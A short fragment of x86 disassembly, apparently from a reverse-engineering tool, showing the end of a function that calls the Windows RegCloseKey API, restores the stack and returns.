call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0xc]
add esp, 0x10
ret